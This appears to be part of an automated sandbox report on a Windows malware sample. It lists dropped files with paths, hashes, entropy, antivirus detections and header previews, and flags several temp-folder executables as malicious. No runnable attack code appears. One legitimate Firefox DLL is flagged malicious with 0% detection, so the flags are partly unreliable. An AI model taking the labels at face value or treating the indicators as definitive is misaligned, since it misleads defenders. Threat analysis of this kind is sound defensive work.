Process:	C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1908224
Entropy (8bit):	7.9507883603825125
Encrypted:	false
SSDEEP:	49152:7XGzrjBi6fxibTu/Qj8jKwsdwU0xGpydKv0s:7XGzrjv4bV37YAIgvD
MD5:	E770CCEE85531910536B1A0CD6101D3A
SHA1:	5C9F6BBFCDD80C88EB0EA872121CA2FEAB22DC76
SHA-256:	EB61CD5E64B98D0057EA61946B2F32E6558D4F38F90BCF8BFD75A153EE1FAA94
SHA-512:	C36004742603D91A777AEC94C748DE627BA4051F6D4AAB04893C8D7CF91D6DC4585038C3E887AFA1B1D2346268DD52D34CD180245E1B066F292107781B2FEEDA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K..........@.................................W...k.............................K.............................h.K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...evwdyikk......1.....................@...ewgqkdfw......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592329068660284
Encrypted:	false
SSDEEP:	12288:jqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgaGTk:jqDEvCTbMWu7rQYlBQcBiT6rprG8aek
MD5:	39F19DEFDE405544C424961F69AA69D6
SHA1:	D6E35C27CF930AE7E6BA54530F507E9EEE85F454
SHA-256:	9187874AFFFC0A2EE1D9D1EC6D73473554C23E1B51B311F6D65ACFBD621ADF8A
SHA-512:	B3AD25DD10D56CDF4927BF48485A6F20A50E06CAB639138FBC8D61ECA3AA2A471C4CD7532D1DC0075418C3A05607331232B716F143798608AA8F650DDB586C2F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......g.........."..........d......w.............@..........................p......kD....@...@.......@.....................d...\|....@..........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc.......@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1908224
Entropy (8bit):	7.9507883603825125
Encrypted:	false
SSDEEP:	49152:7XGzrjBi6fxibTu/Qj8jKwsdwU0xGpydKv0s:7XGzrjv4bV37YAIgvD
MD5:	E770CCEE85531910536B1A0CD6101D3A
SHA1:	5C9F6BBFCDD80C88EB0EA872121CA2FEAB22DC76
SHA-256:	EB61CD5E64B98D0057EA61946B2F32E6558D4F38F90BCF8BFD75A153EE1FAA94
SHA-512:	C36004742603D91A777AEC94C748DE627BA4051F6D4AAB04893C8D7CF91D6DC4585038C3E887AFA1B1D2346268DD52D34CD180245E1B066F292107781B2FEEDA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K..........@.................................W...k.............................K.............................h.K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...evwdyikk......1.....................@...ewgqkdfw......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\tmpaddon

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	453023
Entropy (8bit):	7.997718157581587
Encrypted:	true
SSDEEP:	12288:tESTeqTI2r4ZbCgUKWKNeRcPMb6qlV7hVZe3:tEsed2Xh9/bdzZe3
MD5:	85430BAED3398695717B0263807CF97C
SHA1:	FFFBEE923CEA216F50FCE5D54219A188A5100F41
SHA-256:	A9F4281F82B3579581C389E8583DC9F477C7FD0E20C9DFC91A2E611E21E3407E
SHA-512:	06511F1F6C6D44D076B3C593528C26A602348D9C41689DBF5FF716B671C3CA5756B12CB2E5869F836DEDCE27B1A5CFE79B93C707FD01F8E84B620923BB61B5F1
Malicious:	false
Preview:	PK.........bN...R..........gmpopenh264.dll..\|.E.0.=..I.....1....4f1q.`.........q.....'+....hm{.z..o_.{w........$..($A!...\|L...B&A2.s.{..Dd......c.U.U..9u.S...K.l`...../.d.-....\|.....&....9......wn..x......i.#O.+.Y.l......+....,3.3f..\..c.SSS,............N...GG...F.'.&.:'.K.Z&.>.@.g..M...M.`............ZR....^jg.G.Kb.o~va.....<Z..1.#.O.e.....D..X..i..$imBW..Q&.......P.....,M.,..:.c...-...\...........-i.K.I..4.a..6.....Ov=...W..F.CH.>...a.'.x...#@f...d..u.1....OV.1o}....g.5.._.3.J.Hi.Z.ipM....b.Z....%.G..F................/..3.q..J.....o...%.g.N..}..).3.N%.!..q........^I.m..~...6.#.~+.....A...I]r...x...<IYj....p0..`S.M@.E..f.=.;!.@.....E..E....... .0.n....Jd..d......uM.-.qI.lR..z..=}..r.D.XLZ....x.$..\|c.1.cUkM.&.Qn]..a]t.h...!.6 7..Jd.DvKJ"Wgd*%n...w...Jni.inmr.@M.$'Z.s....#)%..Rs..:.h....R....\..t.6..'.g.........Uj+F.cr:\|..!..K.W.Y...17......,....r.....>.N..3.R.Y.._\...Ir.DNJdM... .k...&V-....z.%...-...D..i..&...6....7.2T).>..0..%.&.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.921583060050767
Encrypted:	false
SSDEEP:	48:YnSwkmrOfJNmPUFpOdwNIOdoWLEWLtkDLuuukx5FBvipA6kbbXjQthvLuhakNn90:8S+OfJQPUFpOdwNIOdYVjvYcXaNLIP8P
MD5:	B265A3F8E3E7518108434E913FE40099
SHA1:	89ED39A407762E30DAA7A89847DDECA9742CF4B6
SHA-256:	E6F1C1B1D8E28D76049EBC9843E9123420BB41A2F7B4FDBB081C1863BA63C9BE
SHA-512:	CDE1A56FFC1A9B0EB3A4F5409CBAAF57DACBCE3FD847351E1182ADA6D1F7ABAE1DB22E6B11A8A68BD40BDEDF177697F6A77E86EF531A12AA59AF395D8A73EB6D
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.921583060050767
Encrypted:	false
SSDEEP:	48:YnSwkmrOfJNmPUFpOdwNIOdoWLEWLtkDLuuukx5FBvipA6kbbXjQthvLuhakNn90:8S+OfJQPUFpOdwNIOdYVjvYcXaNLIP8P
MD5:	B265A3F8E3E7518108434E913FE40099
SHA1:	89ED39A407762E30DAA7A89847DDECA9742CF4B6
SHA-256:	E6F1C1B1D8E28D76049EBC9843E9123420BB41A2F7B4FDBB081C1863BA63C9BE
SHA-512:	CDE1A56FFC1A9B0EB3A4F5409CBAAF57DACBCE3FD847351E1182ADA6D1F7ABAE1DB22E6B11A8A68BD40BDEDF177697F6A77E86EF531A12AA59AF395D8A73EB6D
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 5
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905391753567332
Encrypted:	false
SSDEEP:	24:DLivwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:D6wae+QtMImelekKDa5
MD5:	DD9D28E87ED57D16E65B14501B4E54D1
SHA1:	793839B47326441BE2D1336BA9A61C9B948C578D
SHA-256:	BB4E6C58C50BD6399ED70468C02B584595C29F010B66F864CD4D6B427FA365BC
SHA-512:	A2626F6A3CBADE62E38DA5987729D99830D0C6AA134D4A9E615026A5F18ACBB11A2C3C80917DAD76DA90ED5BAA9B0454D4A3C2DD04436735E78C974BA1D035B1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\store.json.mozlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\store.json.mozlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185924656884556
Encrypted:	false
SSDEEP:	768:wI43DvfWXf4E6C4p4EC4Y4QfEWvM4B4QS4z4444XQ4U:wUfdvk
MD5:	5656BA69BD2966108A461AAE35F60226
SHA1:	9C2E5AE52D82CEA43C4A5FFF205A7700CF54D61C
SHA-256:	587596712960B26EAC18CB354CCD633FFDB218E374A9D59EFEA843914D7AB299
SHA-512:	38F715AD9156558B5D57CA2E75FB0FFE0C5C6728BD94484B8F15E090120DDD02DCE42DBC9CC7143AD6552460A5F3A40E577FAF1D76D5D40B25CDBE636F250054
Malicious:	false
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{60024e8e-cfd0-41e5-965d-7128c7dcf0e8}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185924656884556
Encrypted:	false
SSDEEP:	768:wI43DvfWXf4E6C4p4EC4Y4QfEWvM4B4QS4z4444XQ4U:wUfdvk
MD5:	5656BA69BD2966108A461AAE35F60226
SHA1:	9C2E5AE52D82CEA43C4A5FFF205A7700CF54D61C
SHA-256:	587596712960B26EAC18CB354CCD633FFDB218E374A9D59EFEA843914D7AB299
SHA-512:	38F715AD9156558B5D57CA2E75FB0FFE0C5C6728BD94484B8F15E090120DDD02DCE42DBC9CC7143AD6552460A5F3A40E577FAF1D76D5D40B25CDBE636F250054
Malicious:	false
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{60024e8e-cfd0-41e5-965d-7128c7dcf0e8}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
